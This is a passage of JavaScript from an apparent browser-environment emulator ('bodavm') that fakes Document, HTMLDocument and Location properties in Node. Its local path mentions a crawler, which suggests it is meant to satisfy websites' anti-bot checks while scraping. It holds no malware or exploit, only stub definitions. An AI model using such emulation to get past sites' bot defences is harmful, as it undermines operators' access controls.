(){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onlostpointercapture", {configurable:true, enumerable:true, get:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_get", arguments)}, set:function onlostpointercapture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerdown", {configurable:true, enumerable:true, get:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_get", arguments)}, set:function onpointerdown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointermove", {configurable:true, enumerable:true, get:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_get", arguments)}, set:function onpointermove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerrawupdate", {configurable:true, enumerable:true, get:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_get", arguments)}, set:function onpointerrawupdate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerup", {configurable:true, enumerable:true, get:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_get", arguments)}, set:function onpointerup (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointercancel", {configurable:true, enumerable:true, get:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_get", arguments)}, set:function onpointercancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerover", {configurable:true, enumerable:true, get:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_get", arguments)}, set:function onpointerover (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerout", {configurable:true, enumerable:true, get:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_get", arguments)}, set:function onpointerout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerenter", {configurable:true, enumerable:true, get:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_get", arguments)}, set:function onpointerenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpointerleave", {configurable:true, enumerable:true, get:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_get", arguments)}, set:function onpointerleave (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onselectstart", {configurable:true, enumerable:true, get:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_get", arguments)}, set:function onselectstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onselectionchange", {configurable:true, enumerable:true, get:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_get", arguments)}, set:function onselectionchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onanimationend", {configurable:true, enumerable:true, get:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_get", arguments)}, set:function onanimationend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onanimationiteration", {configurable:true, enumerable:true, get:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_get", arguments)}, set:function onanimationiteration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onanimationstart", {configurable:true, enumerable:true, get:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_get", arguments)}, set:function onanimationstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitionrun", {configurable:true, enumerable:true, get:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_get", arguments)}, set:function ontransitionrun (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitionstart", {configurable:true, enumerable:true, get:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_get", arguments)}, set:function ontransitionstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitionend", {configurable:true, enumerable:true, get:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_get", arguments)}, set:function ontransitionend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "ontransitioncancel", {configurable:true, enumerable:true, get:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_get", arguments)}, set:function ontransitioncancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncopy", {configurable:true, enumerable:true, get:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_get", arguments)}, set:function oncopy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncut", {configurable:true, enumerable:true, get:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_get", arguments)}, set:function oncut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onpaste", {configurable:true, enumerable:true, get:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_get", arguments)}, set:function onpaste (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "children", {configurable:true, enumerable:true, get:function children (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "children_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "firstElementChild", {configurable:true, enumerable:true, get:function firstElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "firstElementChild_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "lastElementChild", {configurable:true, enumerable:true, get:function lastElementChild (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastElementChild_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "childElementCount", {configurable:true, enumerable:true, get:function childElementCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "childElementCount_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "activeElement", {configurable:true, enumerable:true, get:function activeElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "activeElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "styleSheets", {configurable:true, enumerable:true, get:function styleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "styleSheets_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "pointerLockElement", {configurable:true, enumerable:true, get:function pointerLockElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pointerLockElement_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fullscreenElement", {configurable:true, enumerable:true, get:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_get", arguments)}, set:function fullscreenElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "adoptedStyleSheets", {configurable:true, enumerable:true, get:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_get", arguments)}, set:function adoptedStyleSheets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fonts", {configurable:true, enumerable:true, get:function fonts (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fonts_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "adoptNode", {configurable:true, enumerable:true, writable:true, value:function adoptNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "captureEvents", {configurable:true, enumerable:true, writable:true, value:function captureEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "captureEvents", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "caretRangeFromPoint", {configurable:true, enumerable:true, writable:true, value:function caretRangeFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "caretRangeFromPoint", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "close", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createAttribute", {configurable:true, enumerable:true, writable:true, value:function createAttribute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttribute", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createAttributeNS", {configurable:true, enumerable:true, writable:true, value:function createAttributeNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttributeNS", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createCDATASection", {configurable:true, enumerable:true, writable:true, value:function createCDATASection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createCDATASection", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createComment", {configurable:true, enumerable:true, writable:true, value:function createComment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createComment", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createDocumentFragment", {configurable:true, enumerable:true, writable:true, value:function createDocumentFragment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createDocumentFragment", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createElement", {configurable:true, enumerable:true, writable:true, value:function createElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElement", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createElementNS", {configurable:true, enumerable:true, writable:true, value:function createElementNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElementNS", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createEvent", {configurable:true, enumerable:true, writable:true, value:function createEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createEvent", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createExpression", {configurable:true, enumerable:true, writable:true, value:function createExpression (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createExpression", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createNSResolver", {configurable:true, enumerable:true, writable:true, value:function createNSResolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNSResolver", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createNodeIterator", {configurable:true, enumerable:true, writable:true, value:function createNodeIterator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNodeIterator", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createProcessingInstruction", {configurable:true, enumerable:true, writable:true, value:function createProcessingInstruction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createProcessingInstruction", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createRange", {configurable:true, enumerable:true, writable:true, value:function createRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createRange", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createTextNode", {configurable:true, enumerable:true, writable:true, value:function createTextNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTextNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "createTreeWalker", {configurable:true, enumerable:true, writable:true, value:function createTreeWalker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTreeWalker", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "elementFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementFromPoint", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "elementsFromPoint", {configurable:true, enumerable:true, writable:true, value:function elementsFromPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementsFromPoint", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "evaluate", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "execCommand", {configurable:true, enumerable:true, writable:true, value:function execCommand (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "execCommand", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "exitFullscreen", {configurable:true, enumerable:true, writable:true, value:function exitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitFullscreen", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "exitPictureInPicture", {configurable:true, enumerable:true, writable:true, value:function exitPictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPictureInPicture", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "exitPointerLock", {configurable:true, enumerable:true, writable:true, value:function exitPointerLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPointerLock", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementById", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByClassName", {configurable:true, enumerable:true, writable:true, value:function getElementsByClassName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByClassName", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByName", {configurable:true, enumerable:true, writable:true, value:function getElementsByName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByName", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByTagName", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagName", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getElementsByTagNameNS", {configurable:true, enumerable:true, writable:true, value:function getElementsByTagNameNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagNameNS", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getSelection", {configurable:true, enumerable:true, writable:true, value:function getSelection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getSelection", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "hasFocus", {configurable:true, enumerable:true, writable:true, value:function hasFocus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hasFocus", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "importNode", {configurable:true, enumerable:true, writable:true, value:function importNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "importNode", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "open", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "prepend", {configurable:true, enumerable:true, writable:true, value:function prepend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prepend", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandEnabled", {configurable:true, enumerable:true, writable:true, value:function queryCommandEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandEnabled", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandIndeterm", {configurable:true, enumerable:true, writable:true, value:function queryCommandIndeterm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandIndeterm", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandState", {configurable:true, enumerable:true, writable:true, value:function queryCommandState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandState", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandSupported", {configurable:true, enumerable:true, writable:true, value:function queryCommandSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandSupported", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "queryCommandValue", {configurable:true, enumerable:true, writable:true, value:function queryCommandValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandValue", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "querySelector", {configurable:true, enumerable:true, writable:true, value:function querySelector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelector", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "querySelectorAll", {configurable:true, enumerable:true, writable:true, value:function querySelectorAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "querySelectorAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "releaseEvents", {configurable:true, enumerable:true, writable:true, value:function releaseEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "releaseEvents", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "replaceChildren", {configurable:true, enumerable:true, writable:true, value:function replaceChildren (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "replaceChildren", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitCancelFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitCancelFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitCancelFullScreen", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "webkitExitFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "webkitExitFullscreen", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "write", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "writeln", {configurable:true, enumerable:true, writable:true, value:function writeln (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "writeln", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "prerendering", {configurable:true, enumerable:true, get:function prerendering (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prerendering_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onprerenderingchange", {configurable:true, enumerable:true, get:function onprerenderingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_get", arguments)}, set:function onprerenderingchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onprerenderingchange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "fragmentDirective", {configurable:true, enumerable:true, get:function fragmentDirective (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fragmentDirective_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "onbeforematch", {configurable:true, enumerable:true, get:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_get", arguments)}, set:function onbeforematch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onbeforematch_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "timeline", {configurable:true, enumerable:true, get:function timeline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "timeline_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "oncontentvisibilityautostatechange", {configurable:true, enumerable:true, get:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_get", arguments)}, set:function oncontentvisibilityautostatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncontentvisibilityautostatechange_set", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "getAnimations", {configurable:true, enumerable:true, writable:true, value:function getAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getAnimations", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Document', "startViewTransition", {configurable:true, enumerable:true, writable:true, value:function startViewTransition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "startViewTransition", arguments)}},'prototype'); - - -// HTMLDocument对象 - -bodavm.memory.globalobj['HTMLDocument'] = function HTMLDocument(){if (!(this instanceof HTMLDocument)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLDocument'], "HTMLDocument"); - -bodavm.memory.globalobj['HTMLDocument'].prototype.__proto__=bodavm.memory.globalobj['Document'].prototype; - -bodavm.memory.globalobj['HTMLDocument'].__proto__=bodavm.memory.globalobj['Document']; - - - -// document对象 - -bodavm.memory.globalobj['document'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['document'].__proto__=bodavm.memory.globalobj['HTMLDocument'].prototype; - -bodavm.toolsFunc.defineProperty('document', "location", {configurable:false, enumerable:true, get:function location (){return bodavm.toolsFunc.dispatch(this, document, "document", "location_get", arguments)}, set:function location (){return bodavm.toolsFunc.dispatch(this, document, "document", "location_set", arguments)}}); - - -// AuthenticatorResponse对象 -bodavm.memory.globalobj['AuthenticatorResponse'] = function AuthenticatorResponse(){if (!(this instanceof AuthenticatorResponse)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AuthenticatorResponse'], "AuthenticatorResponse"); -bodavm.toolsFunc.defineProperty('AuthenticatorResponse', "clientDataJSON", {configurable:true, enumerable:true, get:function clientDataJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AuthenticatorResponse'].prototype, "AuthenticatorResponse", "clientDataJSON_get", arguments)}, set:undefined},'prototype'); - -// Location对象 - -bodavm.memory.globalobj['Location'] = function Location(){if (!(this instanceof Location)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Location'], "Location"); - -// location对象 - -bodavm.memory.globalobj['location'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['location'].__proto__=bodavm.memory.globalobj['Location'].prototype; - -bodavm.toolsFunc.defineProperty('location', "valueOf", {configurable:false, enumerable:false, writable:false, value:function valueOf (){return bodavm.toolsFunc.dispatch(this, location, "location", "valueOf", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "ancestorOrigins", {configurable:false, enumerable:true, get:function ancestorOrigins (){return bodavm.toolsFunc.dispatch(this, location, "location", "ancestorOrigins_get", arguments)}, set:undefined}); - -bodavm.toolsFunc.defineProperty('location', "href", {configurable:false, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, location, "location", "href_get", arguments, 'http://localhost:63342/%E7%88%AC%E8%99%AB/5s/test.html?_ijt=q7afj33h2bteshkjvmn3buhan8&_ij_reload=RELOAD_ON_SAVE')}, set:function href (){return bodavm.toolsFunc.dispatch(this, location, "location", "href_set", arguments)}}); - -bodavm.toolsFunc.defineProperty('location', "origin", {configurable:false, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, location, "location", "origin_get", arguments, 'http://localhost:63342')}, set:undefined}); - -bodavm.toolsFunc.defineProperty('location', "protocol", 